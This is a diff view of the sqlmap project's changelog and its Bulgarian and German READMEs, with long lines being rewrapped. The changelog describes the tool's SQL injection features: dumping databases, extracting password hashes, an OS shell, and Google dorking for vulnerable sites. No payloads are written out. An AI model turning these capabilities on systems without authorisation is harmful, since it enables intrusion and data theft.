* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; difflib Sequence Matcher object;
* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL
query and SQL shell if stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint; * Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; * Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system
* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; administrator;
* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of
columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing;
* Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; * Added internal support to forge CASE statements, used only by `--is-dba` query at the moment;
* Minor layout adjustment to the `--update` output; * Minor layout adjustment to the `--update` output;
* Increased default timeout to 30 seconds; * Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; * Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL
Server;
* Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Minor bug fix to make the `--postfix` work even if `--prefix` is not provided;
* Updated documentation. * Updated documentation.
# Version 0.6.3 (2008-12-18) # Version 0.6.3 (2008-12-18)
* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l <filepath>; * Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file
path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path
by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection technique too; * Major enhancement to support Partial UNION query SQL injection technique too;
* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; * Major enhancement to test if the web application technology supports stacked queries (multiple statements) by
* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; providing option `--stacked-test` which will be then used someday also by takeover functionality;
* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; * Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by
* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; providing option `--time-test`;
* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; * Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is
provided;
* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing
option `--timeout #`, default is set to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing
option `--delay #`;
* Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; * Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user;
* Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not
* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the '
* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; USERS' TABLESPACE_NAME on Oracle;
* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; * Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when
comparing HTTP responses page content;
* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept,
Accept-Language and Accept-Charset headers are set;
* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or
users passwords;
* Minor improvements to sqlmap Debian package files; * Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap
* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to
the target url;
* Major bug fix to correctly enumerate columns on Microsoft SQL Server; * Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; * Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it
also work if in the FROM there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is provided; * Minor bug fix to correctly dump table entries when the column is provided;
* Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; * Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP
requests;
* Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; * Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread;
* Increased default output level from 0 to 1; * Increased default output level from 0 to 1;
* Updated documentation. * Updated documentation.
@ -270,11 +326,15 @@
* Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0;
* Major bug fix when the request is POST to also send the GET parameters if any have been provided; * Major bug fix when the request is POST to also send the GET parameters if any have been provided;
* Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; * Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`;
* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; * Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its
resumed value from the session file is a string or a binary file, the query is executed again and its new output saved
to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique; * Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; * Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the
database name is not 'public' schema or a system database;
* Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; * Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; * Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and
PostgreSQL 8.3;
* More user-friendly warning messages. * More user-friendly warning messages.
# Version 0.6.1 (2008-08-20) # Version 0.6.1 (2008-08-20)
@ -284,30 +344,40 @@
* Implemented possibility to test for and inject also on LIKE statements; * Implemented possibility to test for and inject also on LIKE statements;
* Implemented `--start` and `--stop` options to set the first and the last table entry to dump; * Implemented `--start` and `--stop` options to set the first and the last table entry to dump;
* Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; * Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool;
* Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; * Minor enhancement to save also the length of query output in the session file when retrieving the query output length
* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; for ETA or for resume purposes;
* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are
stored in the tables, not forcing the entries' order alphabetically anymore;
* Minor bug fix to correctly handle parameters' value with `%` character. * Minor bug fix to correctly handle parameters' value with `%` character.
# Version 0.6 (2008-09-01) # Version 0.6 (2008-09-01)
* Complete code refactor and many bugs fixed; * Complete code refactor and many bugs fixed;
* Added multithreading support to set the maximum number of concurrent HTTP requests; * Added multithreading support to set the maximum number of concurrent HTTP requests;
* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; * Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able
* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; to run whatever SELECT statement and get its output in both inband and blind SQL injection attack;
* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; * Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS
* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; administrator;
* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and
support (`--save`) to save command line options on a configuration file;
* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap
with `--update` option;
* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages;
* Created sqlmap .exe (Windows) portable executable; * Created sqlmap .exe (Windows) portable executable;
* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; * Save a lot of more information to the session file, useful when resuming injection on the same target to not loose
time on identifying injection, UNION fields and back-end DBMS twice or more times;
* Improved automatic check for parenthesis when testing and forging SQL query vector; * Improved automatic check for parenthesis when testing and forging SQL query vector;
* Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; * Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to
perform the injection on in case that more than one is injectable;
* Implemented support for HTTPS requests over HTTP(S) proxy; * Implemented support for HTTPS requests over HTTP(S) proxy;
* Added a check to handle NULL or not available queries output; * Added a check to handle NULL or not available queries output;
* More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; * More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query
and in AND condition checks;
* Improved XML files structure; * Improved XML files structure;
* Implemented the possibility to change the HTTP Referer header; * Implemented the possibility to change the HTTP Referer header;
* Added support to resume from session file also when running with inband SQL injection attack; * Added support to resume from session file also when running with inband SQL injection attack;
* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; * Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has
the PHP engine active and permits write access on a directory within the document root;
* Added a check to assure that the provided string to match (`--string`) is within the page content; * Added a check to assure that the provided string to match (`--string`) is within the page content;
* Fixed various queries in XML file; * Fixed various queries in XML file;
* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it;
@ -328,20 +398,30 @@
# Version 0.5 (2007-11-04) # Version 0.5 (2007-11-04)
* Added support for Oracle database management system * Added support for Oracle database management system
* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; * Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked
with `-e` and `--file` on all DMBS plugins;
* Added support to extract database users password hash on Microsoft SQL Server; * Added support to extract database users password hash on Microsoft SQL Server;
* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently
improving database fingerprinting;
* Added support for SQL injection on HTTP Cookie and User-Agent headers; * Added support for SQL injection on HTTP Cookie and User-Agent headers;
* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); * Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split
* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; getValue() into getInband() and getBlind();
* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to
perform a UNION query SQL injection attack;
* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); * Added support to exclude DBMS system databases' when enumeration tables and dumping their
entries (`--exclude-sysdbs`);
* Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; * Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of
* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; database/table/ column are specified to be dumped;
* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); * Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files
* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py;
* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection
affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork
option (`-g`);
* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank
spaces;
* More minor layout enhancements in some libraries; * More minor layout enhancements in some libraries;
* Renamed DMBS plugins; * Renamed DMBS plugins;
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
@ -349,18 +429,24 @@
# Version 0.4 (2007-06-15) # Version 0.4 (2007-06-15)
* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; * Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; defining default error messages for each supported DBMS;
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an
XML file to get also the exact patching level of the DBMS;
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <https://sqlmap.org/dev/>; * Added docstrings to all functions, classes and methods, consequently released the sqlmap development
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; documentation <https://sqlmap.org/dev/>;
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform
other command line argument on their DBMS;
* Improved logging functionality: passed from banal 'print' to Python native logging library; * Improved logging functionality: passed from banal 'print' to Python native logging library;
* Added support for more than one parameter in `-p` command line option; * Added support for more than one parameter in `-p` command line option;
* Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); * Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`);
* Added the command line option `--remote-dbms` to manually specify the remote DBMS; * Added the command line option `--remote-dbms` to manually specify the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; * Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL
* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); injection also with database comment characters (`--` and `#`) in UNION query statements;
* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible
to stop and resume the same query output retrieving in a second time (`--resume`);
* Added support to specify the database table column to enumerate (`-C COL`); * Added support to specify the database table column to enumerate (`-C COL`);
* Added inband SQL injection (UNION query) support (`--union-use`); * Added inband SQL injection (UNION query) support (`--union-use`);
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
@ -387,12 +473,18 @@
* complete refactor of entire program; * complete refactor of entire program;
* added TODO and THANKS files; * added TODO and THANKS files;
* added some papers references in README file; * added some papers references in README file;
* moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; * moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of
* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions; User-Agent header;
* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql
fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape()
functions;
* replaced old inference algorithm with a new bisection algorithm. * replaced old inference algorithm with a new bisection algorithm.
* reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; * reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql
injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter;
* improved Common class, adding support for http proxy and http post method in hash_page; * improved Common class, adding support for http proxy and http post method in hash_page;
* added OptionCheck class in option.py which performs all needed checks on command line parameters and values; * added OptionCheck class in option.py which performs all needed checks on command line parameters and values;
* added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; * added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection
on dynamic url parameters;
* improved output methods in dump.py; * improved output methods in dump.py;
* layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. * layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on
catching of exceptions.

File diff suppressed because it is too large Load Diff

View File

@ -306,6 +306,6 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
# Public domain # Public domain
* The `PyDes` library located under `thirdparty/pydes/`. * The `PyDes` library located under `thirdparty/pydes/`.
Copyleft 2009, Todd Whiteman. Copyleft 2009, Todd Whiteman.
* The `win_inet_pton` library located under `thirdparty/wininetpton/`. * The `win_inet_pton` library located under `thirdparty/wininetpton/`.
Copyleft 2014, Ryan Vennell. Copyleft 2014, Ryan Vennell.

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на
недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество
специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели -
извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната
система.
Демо снимки Демо снимки
---- ----
![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои функции, качени на wiki. Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи
някои функции, качени на wiki.
Инсталиране Инсталиране
---- ----
Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или
най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master).
За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи. sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички
платформи.
Използване Използване
---- ----
@ -34,13 +41,15 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
python sqlmap.py -hh python sqlmap.py -hh
Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601).
За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се
препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Връзки Връзки
---- ----
* Начална страница: https://sqlmap.org * Начална страница: https://sqlmap.org
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Упътване: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,33 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection
Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den
ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus
der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit
Hilfe von out-of-band Verbindungen.
Screenshots Screenshots
--- ---
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der
Funktionen demonstrieren, auf dem Wiki einsehen.
Installation Installation
--- ---
[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. [Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen
und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv.
Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository
klonst:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder
Plattform.
Benutzung Benutzung
--- ---
@ -28,18 +36,21 @@ Benutzung
Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl:
python sqlmap.py -h python sqlmap.py -h
Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl:
python sqlmap.py -hh python sqlmap.py -hh
Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten,
unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird
das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen.
Links Links
--- ---
* Webseite: https://sqlmap.org * Webseite: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,29 +2,38 @@
